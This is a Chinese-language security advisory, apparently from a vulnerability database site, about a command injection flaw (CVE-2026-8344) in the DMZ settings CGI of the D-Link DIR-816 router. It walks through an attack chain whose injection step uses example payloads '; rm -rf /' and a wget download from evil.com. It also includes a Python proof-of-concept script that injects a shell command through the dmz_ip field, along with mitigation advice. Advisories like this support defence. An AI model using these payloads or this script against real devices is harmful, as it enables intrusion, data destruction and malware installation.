IPBUF安全漏洞报告
English
CVE-2026-8344 CVSS 6.3 中危

CVE-2026-8344 D-Link DIR-816 路由器命令注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8344
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-816

相关标签

命令注入RCED-LinkDIR-816IoT路由器漏洞

漏洞概述

D-Link DIR-816 无线路由器在固件版本 1.10CNB05_R1B011D88210 中被发现存在一个安全漏洞。该漏洞位于 /goform/formDMZ.cgi 文件的 sub_445E7C 函数中,由于对用户提交的参数缺乏严格的过滤和验证,导致攻击者可以注入恶意命令。攻击者无需用户交互即可远程发起攻击,且仅需低权限即可触发。成功利用该漏洞可能导致攻击者在设备上执行任意系统命令,进而窃取敏感信息、修改系统配置或导致设备拒绝服务,影响设备的机密性、完整性和可用性。

技术细节

该漏洞的根本原因在于 D-Link DIR-816 固件中处理 DMZ(非军事区)设置的 CGI 接口存在不安全的编程实践。具体来说,在 /goform/formDMZ.cgi 处理程序中,sub_445E7C 函数负责处理用户提交的 DMZ 配置请求。该函数将 HTTP 请求中的参数(如 IP 地址或其他配置项)直接拼接到系统命令字符串中,并调用系统函数(如 system() 或 popen())执行。

由于程序未对输入参数中的特殊字符(如分号 `;`、管道符 `|`、反引号 `` ` `` 或换行符 `
`)进行有效的过滤或转义,攻击者可以构造包含恶意 Shell 命令的 payload。当 Web 服务器处理该请求时,拼接后的字符串会被 Shell 解释器执行,从而触发命令注入。根据 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,攻击需要网络访问向量(AV:N)和低权限(PR:L),意味着攻击者通常需要先通过弱口令或其他方式登录路由器后台,或者利用该接口未严格校验会话的缺陷,随后即可发送特制的数据包触发漏洞,实现远程代码执行。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别目标为 D-Link DIR-816 路由器,并确定其固件版本为受影响的 1.10CNB05_R1B011D88210。
STEP 2
获取初始访问
由于 CVSS 评级为 PR:L (低权限),攻击者利用默认凭证、弱口令或未授权访问接口登录路由器 Web 管理后台。
STEP 3
漏洞利用
攻击者向 /goform/formDMZ.cgi 发送特制的 HTTP POST 请求,在 DMZ IP 参数中注入恶意 Shell 命令(如 `; rm -rf /` 或 `; wget http://evil.com/malware`)。
STEP 4
命令执行
服务器端 CGI 程序处理请求,将恶意参数拼接到系统命令中并执行,触发命令注入,运行攻击者指定的代码。
STEP 5
影响达成
攻击者获取设备控制权,可能导致敏感信息泄露(C:L)、系统配置被篡改(I:L)或服务中断(A:L)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/formDMZ.cgi" # Vulnerable parameter and payload # The payload injects a command to echo a proof file to /tmp # Common injection characters like ';' are used to chain commands payload = "; echo 'CVE-2026-8344_poc' > /tmp/poc_test;" # Data payload mimicking the form submission data = { "action": "Apply", "dmz_enable": "1", # Assuming 'dmz_ip' or similar parameter is the injection point based on the filename formDMZ.cgi "dmz_ip": payload } # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

D-Link DIR-816 1.10CNB05_R1B011D88210

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议用户暂时禁用路由器的 DMZ 功能,并限制对 Web 管理界面(端口 80/443)的访问权限,仅允许可信的内网 IP 地址访问。此外,应修改默认的管理员账户密码,防止攻击者利用低权限账户进行登录和利用。

参考链接